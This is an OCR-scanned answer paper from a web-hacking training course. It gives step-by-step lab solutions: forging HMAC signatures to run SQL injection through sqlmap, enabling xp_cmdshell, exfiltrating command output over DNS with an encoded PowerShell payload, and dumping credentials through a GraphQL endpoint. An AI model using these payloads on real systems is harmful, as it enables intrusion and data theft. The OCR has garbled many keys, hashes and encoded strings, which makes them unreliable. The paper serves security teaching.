var URL = window.location.protocol + "//° + window.location.hostname + (window.location.port 7 ':' + window.location.port : ' ') + '/api/Product/GetProduct?pid=" + prodiD
var hmacSignature = CryptolS.enc.Hex.stringify(CryptoJS.HmacSHA256(URL, "9z$BSE)H@McQTTiWNZrau7x!A%D*F-Ja")).toUpperCase();

type: “GET
Uri: /ap:/Prcmc«/cmprunuczég.n T prodiD + "Rsig=" + hmacsignature, ]
Readers: 1 TAUThOrization €arer T+ accessToken T,
processData: false,
beforeSend: function () {
$('#order').html('In Progress...');

$("#order").prop("disabled”, true);
b

success: function (response) {

Step 7: To dynamically generate the sig parameter for the request parameter using the following

python code.

import hmac;

import hashlib;

import base64;

key="9z$B&E )H@AMcQfTjWnZr4u7x!A%D*F-Ja";
message="http://topup.webhacklab.com/api/Product/GetProduct?pid=2123 and 1=1";
sig=hmac.new(key, message, digestmod=hashlib.sha256).hexdigest().upper();

print sig;

Step 8: Generate the “sig” parameter for the modified request shown in Step 5.

root @ kali
# python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hmac;
>>> import hashlib;

>>> import base64;

>>>| key="9z$B&E )HAMcQFTjWnZr4u7 x| A%D*F-Ja" ;

>>>| message="http://topup.webhacklab.com/api/Product/GetProduct?pid=2123";

>>> sig=hmac.new(bytes(key, 'utf-8'), bytes(message,'utf-8'), digestmod=hashlib.sha256).hexdigest().upper();
>>> print (sig):

E3E7F3D17BFF1DA6F69832E319D659685176D63E359354168978FCCBESDED7AB

>>> ||
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Step 9: Replace the signature and send the request which will respond with 200 OK.

Raw

GET /api/Product/GetProduct?pid sig=E3E7F3D17BFF1DA6F69832E319D659685176D63E359354168978FCCBEBDED7AB HTTP/1.1
Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://ftopup.webhacklab.com/shop/checkout?id=2

Authorization: Bearer

Response

Raw | Headers | Hex

Go Cancel <|v > | Target: http://topup.webhacklab.com li)lﬂ

Request

T = T = | [7ype a search term 0 matches
LJ=l+l=] 7

ITTP/1.1 200 OK |
ache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-115/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 26 Apr 2019 12:53:46 GMT
Connection: close
Content-Length: 4

null

T

Step 10: Inserting a boolean based sql payload with “and” query and using the new signature

created by following Step 8 for the new pid will return null.

Go Cancel | <|v > | Target: http://topup.webhacklab.com w

Request

Raw | Params | Headers | Hex | JWS

&

GET /api/Product/GetProduct?pid =I2123+and+1:ll.«sig:5c24D051BBFEOA055FDEESB?DEB‘36A90855549DD052039FAC9905772D14AD6FN HTTP/1.1
Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://ftopup.webhacklab.com/shop/checkout?id=2

Authorization: Bearer

Response

Raw | Headers | Hex

? < |[ + |[ > | [7ype a search term 0 matches
L=t [

v

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-115/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 26 Apr 2019 13:00:55 GMT
Connection: close

Content-Length: 4

null

>
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Step 11: Inserting boolean SQL payload with “or” query and using the new signature created by

following Step 8 for the new pid will result in data.

Go Cancel <Iv || >|v Target: http://topup.webhacklab.com | #|| 7|
Request
Raw | Params [Headers ] Hex | )
GET /api/Product/GetProduct?pidF2123+or+1=1&sig=9A341BB4C44E54FD10F7696D6903B9B626417BFOC0646E46F188EF1C728E7855 HTTP/1.1 A

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=2

Authorization: Bearer Y
| 2| = ||+ || =] Type asearch term Olmatches
Response

Raw | Headers [ Hex ]JSON Beautifier

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-1IS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 26 Apr 2019 13:00:19 GMT
Connection: close

Content-Length: 350

e

"id":27,"title":"Virgin Mobile","description®:"Recharge, You’ll receive the recharge code and instructions on the email address you filled in. That way you’'ll
hlways stay connected!","code":"0211C","name":"Virginm","credit":180.0,"data":90.0,"image":"virginm.jpg","instruction":"instructions goes

ere","serviceCharge":10.0,"memberDiscount":0.0}

PLAN

Step 12: In order to run SQLmap, save the request in the “request.ixt” file with the vulnerable

I3

parameter is “*”. In our case it is code parameter which is vulnerable.

g i 2 # |cat_request.txt

GET /api/Product/GetProduct?pid=*5sig=2E2A3AAF4EB0895D5512931168FDC18022A0E01B3CEO9C2BD875F283B8430045 HTTP/1.1
Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=10

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzIINiJ9.eyJlbmlxdWVfbmFtZSI6InNhbmpheUBub3Rzb3N1Y3VyZS5jb20i
LCI1bWFpbCI6InNhbmpheUBub3Rzb3N1Y3VyZS5jb20ilCIpc3Mi0iJodHRwO0i8vd2ViaGFja2xhYi5jb20vIiwiZXhwIjoxNTU3SNDg4MjA2LC]
uYmYi0jEINTYyNzg2MDZ9.Zvt0x6da63y2zGec_jlgLSPhxHW1zmi3cyR6SUDZ838M

X-Requested-With: XMLHttpRequest

Connection: close
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Step 13: Mention the eval tag which will dynamically generate the sig parameter for every sglmap

request.

root@Kali:~# sqlmap -r request.txt --eval='import hashlib;import
hmac;sig=(hmac.new("9z$B&E)H@McQFfTjWnZr4u7x!A%D*F-Ja",
"http://topup.webhacklab.com/api/Product/GetProduct?pid=%s" % (pid),
hashlib.sha256)).hexdigest().upper();"' --dbs -batch

In case of UTF encoding error try following command:

sglmap -r eval.txt --eval='import hmac;import hashlib;import base64;sig =
hmac.new("9z$B&E )H@McQFTjWnZr4u7x ! A%D*F-Ja" .encode("utf-8"),
("http://topup.webhacklab.com/api/Product/GetProduct?pid=%s" %
(pid)).encode("utf-8"), digestmod=hashlib.sha256).hexdigest().upper()’' --dbs -
-batch

: # sqlmap request.txt --eval='import hashlib;import hmac;sig=(hmac.n
ew("9z$B&E)H@McQfTjWnZrd4u7x!A%D*F-Ja", "http://topup.webhacklab.com/api/Product/GetPro

duct?pid=%s" % (pid), hashlib.sha256)).hexdigest().upper();' --dbs --batchl

Step 14: We will be able to fetch all the database names from the DB server.

110 ] testing Microsoft SQL Server
[ ] confirming Microsoft SQL Server
] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
] fetching database names
] fetching number of databases
] running in a single-thread mode. Please consider usage of option '--threads' for faster da
[a retrieval
[ retrieved: 5
retrieved: awhdb
retrieved: master
retrieved: model
retrieved: msdb
] retrieved: tempdb
avallable databases [5]:
[*] awhdb
[*] master
[*] model
[*] msdb
[*] tempdb

I
1 [
I
10
][
] [

[ 11 ] HTTP error codes detected during run:
500 (Internal Server Error) - 166 times
[ 1] I ] fetched data logged to text files under

[*] ending @ 09:10:14 /2019-04-26/
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Data Exfiltration over DNS via SQLI

Challenge URL: http://topup.webhacklab.com/Account/SecurityQuestion

o Exploit the injection vulnerability to exfiltrate the output of command “ipconfig” over
DNS channel.

Solution:

Step 1: It can be identified that the application is developed in .NET with MVC framework, backend
database is SQL Server and it is vulnerable to SQL injection. Exploit this further to retrieve the data
using out-of-band (OOB) channels - DNS. Start a DNS listener on your kali VM using the following

command:

root@Kali:~# tcpdump -n udp port 53 -i any

:~# tcpdump -n udp port 53 -i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux coocked v1), capture size 262144 bytes

Step 2: Enable xp_cmdshell using the following command.

';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
"Xp_cmdshell', 1;RECONFIGURE; --
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Step 3: Login into the application and inject the below payload into the Question field, as shown

below:

';exec master..xp_cmdshell 'cmd.exe /c nslookup XXX.userX.webhacklab.com' --

@ topup.webhacklab.com/Account/Profile
b | Topup Webhacklab @) Microblog ) HealthCheck | Admin Webhacklab | Utility ) Wordpres NotSoSec... [a Joomla NotSoSecure @ Database Connection @

HOME TOPUP VOUCHERS SHoOP
Profile

Name Mobile Question
Dhruw 9876543210 nslookup test.userl0.webhacklab.cor

Profile Image Membership

|
Password Answer
""" | Browse.. |Mofile selected. Bronze

Billing Address

Address

UPDATE

Step 4: Next, logout and visit the Password Reset functionality as done in the earlier exercise. Input
the answer and click on ‘RESET PASSWORD'.

| Web Hacking- Black Belt x | +

GENE" (@_topuo webhacklab.com/Account/SecurityQuestion | po% | - O B %

) NotSosecure () Shop Webhacklab | Topup Webhacklab ) Microblog (@ HealthCheck | Admin Webhacklab |  Utility

— mr@secunls

Please answer your security
gquestion

';exec master..xp_cmdshell '‘cmd.exe /c
nslookup test.userlO.webhacklab.com' --

RESET PASSWORD
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Step 5: Note the output of ‘tcpdump’. It will show that the DNS requests are being received by the

host.

:~# tcpdump -n udp port 53 -i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked vl1), capture size 262144 bytes
21:54:59.962501 IP 192.168.200.12.53385 > 192.168.4.10.53: 48349+ A? test.userlO.webhacklab.com. (44)

21:55:01.948456 IP 192.168.200.12.60850 > 192.168.4.10.53: 3113+ AAAA? test.userl@.webhacklab.com. (44)

Step 6: As there is a limit on size and type of data that can be sent over DNS channels, we need to
create a payload that will encode the output, break it into chunks and then send it over the DNS

channel with sequence numbers appended to them.

Once the OOB calls are received, the output can be sorted with the help of sequence numbers as

UDP packets do not have an arrival order.

The payload created is as shown below. It will send output of ipconfig over DNS to

userX.webhacklab.com.

'; exec master..xp_cmdshell 'cmd /v /c "ipconfig > C:\Windows\Temp\outputX &&
certutil -encodehex -f C:\Windows\Temp\outputX C:\Windows\Temp\outputX.hex 4
&& powershell -enc
JABOAGUAeABOADOARWB1AHQALQBDAG8AbgBOAGUAbgBOACAAQWAGAFWAVWBPAGAAZABVAHCACWBCAF
QAZQBtAHAAXABVAHUAdABWAHUAJAAXADAALgBOAGUAeAA7ACQACWBI1AGIAZABVAGOAYQBpAGAAPQAK
AHQAZQB4AHQALgBYAGUACABSAGEAYWB1ACgAIgAgACTIALAAIACIAKQA7ACQAagA9ADEAMQAXADEAMQ
A7AGYAbwBYAGUAYQBjAGEgAKAAKAGKATABpAGAATAAKAHMAIQBiAGQAbwWBtAGEAaQBUACKkAewAgACQA
ZgBpAG4AYQBsADOAIABqACAAdABVAHMAJABYAGkAbgBNACEAKQArACIALgAiACSAJABpACSAIgAUAG
YAaQBsAGUALgB1AHMAZQBYADEAMAAUAHCAZQBiAGEAYQBjAGSAbABhAGIALgBjAG8AbQAiIADSAIAB(
ACAAKWASACAAMQA7ACAAUWBOAGEACgBOACOAUABYAG8AYWB1AHMACWAEACOATEBVAE4AAZQB3AFcAaQ
BUuAGQAbwB3ACAAbgBzAGWAbwBVAGSAdQBWACAAJABMAGKAbgBhAGWATIABIAA==""--

Let’'s understand the payload in parts:

First part: Below command will run ipconfig on SQL server using xp_cmdshell, write the output

to a file, then hexencode it with ‘certutil’ in a specific format (in columns with spaces, without the

characters and the addresses), and is represented by code 4.
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exec master..xp_cmdshell 'cmd /v /c "ipconfig > C:\Windows\Temp\outputX &&
certutil -encodehex -f C:\Windows\Temp\outputX C:\Windows\Temp\outputX.hex 4

Second part: it will run a PowerShell script in Base64 encoded format to avoid breaking SQL

syntax. This script will read the hex encoded output file, break the content into chunks and then
generate DNS queries in specific format i.e.

sequence_number.$Data. file.userX.webhacklab.com

Plain Script:

$text=Get-Content C:\Windows\Temp\outputX.hex;$subdomain=$text.replace("
","");%$j=11111;foreach($i in $subdomain){
$final=%$j.tostring()+"."+$i+".file.userX.webhacklab.com";$j += 1; Start-

Process -NoNewWindow nslookup $final }

This will be the Encoded Script that can be decrypted using:

powershell -enc {$encoded_script} :

The encoded output of the plaintext script will look like this :

JABOAGUAeABOADOARWB1AHQALQBDAG8AbgBOAGUAbgBOACAAQWABAFWAVWBPAGAAZABVAHCACWBCAF
QAZQBtAHAAXABVAHUAdABWAHUAJAAXADAAL gBOAGUAeAA7ACQACWB1AGIAZABVAGOAYQBpAGAAPQAK
AHQAZQB4AHQALgBYyAGUACABSAGEAYWBI1ACEAIgAgACIALAALIACIAKQA7ACQAagASADEAMQAXADEAMQ
A7AGYAbwBYAGUAYQBJjAGEAKAAKAGKATIABpAGAATAAKAHMAAQBiAGQAbWBTAGEAaQBUACKkAewAgACQA
ZgBpAG4AYQBSADOAIABqAC4AdABVAHMAJABYAGKAbgBNACEAKQArACTIALgAIACSAIABpACSATEAUAG
YAaQBsAGUALgB1AHMAZQBYADEAMAAUAHCAZQBiAGEAYQBjAGSAbABhAGIALEBjAG8AbQAiIADSAJAB(
ACAAKWA9ACAAMQA7ACAAUWBOAGEACZBOACOAUABYAGSAYWBLAHMACWAZACOATEBVAE4AZQB3AFcAaQ
BuAGQAbwB3ACAAbgBzAGWAbwBVAGSAdQBWACAAJABMAGKAbgBhAGWATIABIAA==
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Step 7: To create your own encoded string containing your IP address and file name use the

PowerShell encoder here or use our utility hosted within the VPN http://utility.webhacklab.com as

shown in the screenshot below.

@ utility.webhacklab.com/PowershellEncoder 110% wee

lab | Topup Webhacklab @ Microblog @ HealthCheck | Admin Webhacklab | Utility @& p 4 Joomla ure @ D Connection @ Slim [BJWT Debugger @ A

Powershell Encoder

This will encode the command you input into valid PowerShell Base64 for use with "EncodedCommand"

Powershell Script

stext=Get-Content C:\Windows\Temp\output10.hex;$subdomain=g$text.replace("
","");$j=11111;foreach($i in $subdomain){
$final=$j.tostring()+"."+$i+".file.userl0.webhacklab.com";$j += 1; Start-Process
-NoNewWindow nslookup $final }

Result
powershell.exe -exec bypass -enc
JABOAGUAeABOADOARWBIAHQALQBDAG8AbgBOAGUAbgBOACAAQWABAFWAVWBPAG4AZABVAHCACWBCAFQAZQBIAHAAXABVAHUAJABWAHUAJAAXADAALgBoAGUAeA
A7ACQAcWB1AGIAZABVAGOAYQBpAG4APQAKAHQAZQB4AHQALgBYAGUACABSAGEAYWBIACgAIgAgACIALAAIACIAKQA7ACQAagASADEAMQAXADEAMQA7AGYAbWBYA
GUAYQBJAGgAKAAKAGKAIABpAG4AIAAKAHMAdQBIAGQAbWBEAGEAaQBUACKkAewAgACQAZgBpAG4AYQBSADOAJABGAC4AdABVAHMAJABYAGKAbgBnACgAKQArACIAL
gAIACsAJABpACsAIgAUAGYAaQBSAGUALgB1AHMAZQBYADEAMAAUAHCAZQBIAGGAYQBjAGSADABhAGIALgBJAGBADQAIADSAJABGQACAAKWAIACAAMQAT7ACAAUWBOAGE
AcgBOACOAUABYAGBAYWBIAHMACWAGACOATgBVAE4AZQB3AFcAaQBUAGQAbWB3ACAAbgBzZAGWAbWBVAGSAdQBWACAAJABMAGKAbgBhAGWAIABIAA==

Step 8: Submit the final payload to the injection point.

I;opup.webhacklahcom,*Account«‘Proﬁ\ e

Health Check @ Shopping Portal | Topup Website @ MBlog Portal [BlJWT @ Database Connection @ Resume Uploading @& NodeJS

wT@mE HOME TOPUP VOUCHERS

Question Password Answer

";exec master..xp_cmdshell ‘cmd /v /c "ipcog*****

Profile Image

Membership
- — & ) L3
| Browse... | No file selected. Bronze
Billing Address
Address

UPDATE
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Step 9: Before executing the payload run Tcpdump to capture the DNS queries and write it to a file,

as shown in the below figure:

root@Kali:~# tcpdump -n udp port 53 -i any | tee oob.txt

:~# tcpdump -n udp port 53 -i any | tee oob.txt
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX SLL (Linux cooked v1), capture size 262144 bytes

Step 10: As done earlier, execute the payload from reset password and observe the responses on

tcpdump.

Web Hacking- Black Belt x | +

<« c @ @ topup.webhacklab.com/Account/SecurityQuestion e @ g I
¥ NotSosecure @ Shop Webhacklab | - Topup Webhacklab @ Microblog € HealthCheck | Admin Webhacklab | - Utility

NOT@SECURE HOME TOPUP  VOUCHERS SHOP  LOGIN  REGISTER

Please answer your security
question

', exec master..xp_cmdshell 'emd /v /c

"ipconfig = C:\Windows\Temp\outputl0

&& certutil -encodehex -f C:\Windows

\Temploutputl0 C:\Windows

\Temphoutputl0.hex 4 &&

powershell.exe -exec bypass -enc
JABOAGUAeABOADOARWBIAHQALQBDAG8AbgBOAGUAbgBOACAAQWA

RESET PASSWORD
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root@kali:~# [tcpdump -n udp port 53 -i any | tee oob.txt

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes

22:42:41.105361 IP 192.168.200.12.5461 > 192.168.4.10.53: 18691+ A? 11111.0d0a57696e6461777320495020436f6e. file.
userl@.webhacklab.com. (83)

22:42:41.130383 IP 192.168.200.12.54541 > 192.168.4.10.53: 6667+ A? 11113.45746865726e65742061646170746572.file.
userl@.webhacklab.com. (83)

22:42:41.130428 IP 192.168.200.12.35550 > 192.168.4.10.53: 2342+ A? 11115.2020436T6e6e656374696f6e2d737065.file.
userl@.webhacklab.com. (83)

22:42:41.130453 IP 192.168.200.12.20624 > 192.168.4.10.53: 15822+ A? 11117.20202e203a200d0a2020204950763420.file
.userld.webhacklab.com. (83)

22:42:41.130475 IP 192.168.200.12.24686 > 192.168.4.10.53: 51656+ A7 11119.202e202e202e202e202e202e203a2031.file
.userl0.webhacklab.com. (83)

22:42:41.130494 IP 192.168.200.12.48363 > 192.168.4.10.53: 16078+ A7 11121.2020205375626e6574204d61736b202e.file
.userl0.webhacklab.com. (83)

22:42:41.130510 IP 192.168.200.12.53160 > 192.168.4.10.53: 4928+ A? 11123.202e202e203a203235352e3235352e30. file.
userl@.webhacklab.com. (83)

22:42:41.288561 IP 192.168.200.12.64608 > 192.168.4.10.53: 15156+ A7 11125.617465776179202e202e202e202e202e.file
.userl0.webhacklab.com. (83)

22:42:41.288576 IP 192.168.200.12.15849 > 192.168.4.10.53: 17484+ A? 11131.2020204d65646961205374617465202e.File
.userl0.webhacklab.com. (83)

22:42:41.288582 IP 192.168.200.12.6197 > 192.168.4.10.53: 27644+ A? 11127.756e6e656c2061646170746572206973.file.

Step 11: Once the execution completes, oob.txt will be created. Run the following command that will

extract required data from the file, arrange it based on sequence number, and then hex decode it.

root@Kali:~# egrep -o '[@-9]{5}+\.+[0-9a-fA-F]{0,62}' oob.txt|sort -u|cut -d.
-f2|xxd -r -p

root@kali:~# egrep -o '[0-9]{5}+\.+[0-9a-fA-F]{0,62}"' ocob.txt|sort -ujcut -d. -f2|xxd -r -p

Windows IP Configuration

Ethernet adapter Ethernet0O:

Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 102.168.200.120

Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway :

Tunnel adapter isatap.{4A3D4585-5E20-415B-B831-7486943F95A4}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix
root@kali:~# J]
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GraphQL Exploitation

Challenge URL: http://expense.webhacklab.com:3000/viewexpense

o Exploit SQL injection in one of the GraphQL endpoints and retrieve admin credentials.
e Use Introspection to extract the Pl (Salary) of the ‘userX@webhacklab.com’.

e Using GraphQL mutation, view expenses of all the users.

Part 1. Exploit SQL injection in one of the GraphQL endpoints and

retrieve admin credentials.

Solution:

Step 1: Navigate to ' http://expense.webhacklab.com:3000/ ' and register an account. Enter

credentials and click on 'Sign In".

6 - C @ | @ #& expensewebhacklab.com:3000/login | 40% In @D E@ =
@ Notsosecure @ Shop Webhacklab | - Topup Webhacklab @ Microblog @ HealthCheck | Admin Webhacklab | utility @ Wordpres NotSoSec... 3 Joomla NotSoSecure

Please sign in
Email address

userl@webhacklab.com
Password

Step 2: Click on ‘AddExpense’ and fill in any random expense.

Expense Tracker x +

eac‘a xpense. webhacklab.com:3000/ac % |\ml-T-|—
@ Natsosecure @ Shop Webha mh | Topup Webhacklab @ Microblog (@ Healthdl hxk | Admin webhacklab | utility @ Wordpres NotSosec... ] joomla NotSosecure

Add New Expense

Date
07/15/2020

Title
Laptop Charger
Description

HP Laptop Charger from Amazon

Amount

2000|

Add
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Step 3: The expense will be added. Now click on ‘ViewExpense’ as shown:

Expense Tracker x ‘ +
&« 3 | (@) #& expense.webhacklab.com:3000/viewexpense [ 140% - O % I 6O ==+
¥ NotSosecure @) Shop Webhacklab | Topup Webhacklab &) Microblog @) HealthCheck | Admin Webhacklab | Utility @ Wordpres NotSoSec... f Joomla NotSoSecure »

Select Date

| 07/15/2020
Date Title Description Amount
07-15-2020 Laptop Charger HP Laptop Charger fr... 2000

Step 4: Analyze the HTTP Request content. The request shows the expenses for a particular date.

®{§} EJ EJ Search...

Done

0 matches | \n | [Pretty |

Send || Cancel || <|v] > Target: http://192.168.200.12:9000 / (?)
Request Response
| JSON Beautifier I JSON Web Tokens J Raw I Headers T Hex IJSON Beautifier
J Raw I Params I Headers I Hex 1 HTTP/1.1 200 OK D
1 POST /graphql HTTP/1.1 4 2X-Powered-By: Express
2 Host: 192.168.200.12:9000 3 Access-Control-Allow-0Origin: *
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60. 4 Content-Type: application/json; charset=utf-8
4 Accept: */* - 5 Content-Length: 131
5 Accept-Language: en-US,en;g=0.5 6 ETag: W/"83-Nsml5Z+Z7K3dwoKB84607kzaxwoQ"
6 Accept-Encoding: gzip, deflate 7 Date: Wed, 15 Jul 2020 17:04:08 GMT
7 Referer: http://expense.webhacklab.com:3000/viewex 8 Connection: close
8 content-type: application/json 9
9 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCIf 104 " B
10 origin: http://expense.webhacklab.com: 3000 dfta i i
11 Content-Length: 211 expenses": [
12 Connection: close {
13 "date": "07-15-2020",
14 { "title": "Laptop Charger",
"query": "query GetExpense($date: String){\n "description":"HP Laptop Charger from Amazon",
"variables":{ "amount": 2000
[ "date™:"07-15-2020" | ] }
+
} }
}
11
5
5 | =
7 > v

®{§} EJ EJ Search...

0 matches | \n | [Pretty |
371 bytes | 306 millis

NotSoSecure part of

claranet cyber security

Page: | 47

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 5: Change the date field value to blank/null and observe the response.

Target: http://192.168.200.12:9000 . (7)

4 Accept: */*

5 Accept-Language: en-US,en;qg=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://expense.webhacklab.com:3000/viewex
8 content-type: application/json
9 authorization: Bearer eyJhbGci0iJIUzI1NiIsInR5cCI6
10 origin: http://expense.webhacklab.com:3000
11 Content-Length: 201

2 Connection: close
13
14 {
"query": "query GetExpense($date: String){\n
n 3 9 ah a ",
}
[ =
v
F— 7 —_
®{§}@w Search... 0 matches | \n | | Pretty |
Daone

Send Cancel <|v >\
Request Response
| JSON Beautifier I JSON Web Tokens J Raw I Headers I Hex MSON Beautifier
J Raw I Params I Headers [ Hex 1 HTTP/1.1 200 0K
1 POST /graphq'l HTTP/1.1 »A 2 X-POWEI"Ed-BY: Express o
2 Host: 192.168.200.12:9000 3 Access-Control-Allow-Origin: *
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60, 4 Content-Type: application/json; charset=utf-8

5 Content-Length: 25
6 ETag: W/"19-YgTULcKK8fN9COLw2pkcmp7ZL1I"
7 Date: Wed, 15 Jul 2020 17:13:12 GMT

8 Connection: close
9
10 {
"data":{
"expenses": [
1
}
}
11
®{§} &2 |Search... 0 matches | \n || Pretty |

264 bytes | 306 millis

N
A

Step 6: Change the date field value to “ 07-15-2020' “ and send the request. If you observe we have

added a single quote at the end of the date.

Send || Cancel |[ < v || >|* Target: http://192.168.200.12:9000 . (7)
Request Response
\ JSON Beautifier I JSON Web Tokens JRaw T Headers T Hex IJSON Beautifier
J Raw I Params I Headers T Hex 1 HTTP/1.1 200 OK 8
1 POST /graphq'l. HTTP/1.1 : 2 X-Powered-By: EXPFESS o
2 Host: 192.168.200,12:9000 3 Access-Control-Allow-Origin: *
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60. 4 Content-Type: application/json; charset=utf-8
4 Accept: */* 5 Content-Length: 27
5 Accept-Language: en-US,en;q=0.5 6 ETag: W/"1lb-c4AAgGOEESKORdpHLfNCRNYEGTE"
& Accept-Encoding: gzip, deflate 7 Date: Wed, 15 Jul 2020 17:15:17 GMT
7 Referer: http://expense.webhacklab.com:3000/viewex 8 Connection: close
8 content-type: application/json 9
9 authorization: Bearer eyJlhbGciOiJIUzI1NiIsInR5cCI6 1oi{ " "
10 origin: http://expense.webhacklab.com:3000 dﬁta i1 .
11 Content-Length: 212 expenses”:null
12 Connection: close ¥
13 ¥
14f¢ 11
"query": "query GetExpense($date: String){\n
"variables":
"date":"07-15-2020""
}
}
[
A\ [ =
i —— - — B - 5
®{§}&J@J Search... 0 matches | \n | | Pretty | ®{§}&Hij Search... 0 matches | \n | | Pretty |
Done 266 bytes | 375 millis
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Step 7: There is a chance the 'date’ variable in HTTP Request is vulnerable to SQL Injection. Let’s

add an "’ at the date parameter and save the request for sgimap:

ﬁ |graphql.txt
File Edit Search Options Help
POST /graphql HTTP/1.1 | -

Host: 192.168.200.12:9000

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://expense.webhacklab.com:3000/viewexpense

content-type: application/json

authorization: Bearer
eyJhbGci01JIUzIINiIsInR5cCI6GIKkpXVCI9.eyI1lbWFpbCI6INVZzZXIXxQHd1YmhhY2tsYWIuY29tIiwi
origin: http://expense.webhacklab.com:3000

Content-Length: 212

Connection: close

{"query":"query GetExpense($date: String){\n expenses (date: $date)-
{\n date\n title\n description\n
amount\n N\n }","Variables"J{"date":"*"}} |
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Step 8: Run the following sgimap commands and capture the admin credentials as shown in the

figure:

root@Kali:~# sqlmap -r graphql.txt -dbs

root@Kali:~# sqlmap -r graphql.txt --dbs -D 'ExpenseTracker' -tables

root@Kali:~# sqlmap -r graphql.txt --dbs -D 'ExpenseTracker' -T users

root@Kali:~# sqlmap -r graphql.txt --dbs -D 'ExpenseTracker' -T users -C
email,salary,address,mobile,password --dump

root@kali: # sqlmap -r graphql.txt --dbs -D 'ExpenseTracker' -T users -C email,salary,address,mobile,password

{1.4.7.5%dev}

http://sglmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end u
ser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are no
t responsible for any misuse or damage caused by this program

[*] starting @ 23:13:56 /2020-07-15/

[ 11 ] parsing HTTP request from ‘graphql.txt’

custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q]
JSON data found in POST body. Do you want to process it? [Y/n/q]

[ 10 ] resuming back-end DBMS 'mysql’

[ 1 [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"query":"query GetExpense($date: String){\n expenses (date: $date){\n date\n
title\n description\n amount\n F\n }","variables":{"date":""' AND (SELECT 2409 FR
(SELECT(SLEEP(5)))Gkml) AND 'hTaT'='hTaT"}}

11 ] fetching entries of column(s) ' password , address, email, mobile, salary' for table ' rs' in database 'ExpenseTracker’
: ExpenseTracker
1 users
[12 entries]

9898989779
6798123467
7798123123
9923476545
8899676798
8125498789
8456723412
5598676767
6512378690
EEEEEEEEEE]
9876543210
9876543210

user one beta flat, awh lab

second user, 3rd floor, awh lab

third user, new apart., awh lab

forth user, abc floor, awh lab

fifth user, xyz floor, awh lab

sixth user, there is no address, awL lab
seventh user, unkonwn address, awh lab
eighth user, 8th floor, abc tower, awh lab
nineth user, abc apartment, awh lab
Admin lab

400000

4000000

SiteAdmin@l234

—_———— e+ —
—_————— e+ —
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Part 2: Use Introspection to extract the PIl (Salary) of the

‘userX@webhacklab.com’.

Solution:

Step 1: Navigate to 'http://expense.webhacklab.com:3000/login’, enter credentials and click on 'Sign

In'.

&) [CE) | (@ £ expense.webhacklab.com:3000/login [ 140% o @ 1Y mn 6 ==+
1 NotSosecure (& Shop Webhacklab | - Topup Webhacklab @ Microblog @) HealthCheck |- Admin Webhacklab | - Utility @ Wordpres NotSoSec... §3 Joomla NotSoSecure

Please sign in

Email address

userl@webhacklab.com

Password

Step 2: Click on ‘ViewExpense’ as shown:

Expense Tracker X

— c @ © & =0 192.168.200.12:3000/profile - U@ W moeoed =

PROFILE
Fist Name user
Last Name one
Email userl@webhacklab.com
Address user one beta flat, awh lab
Contact No. 9898989779
Monthly Salary 25000
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Step 3: Capture the Request in Burp Suite and send this to the Burp Repeater.

Request to http:/{192.168.200.12:9000
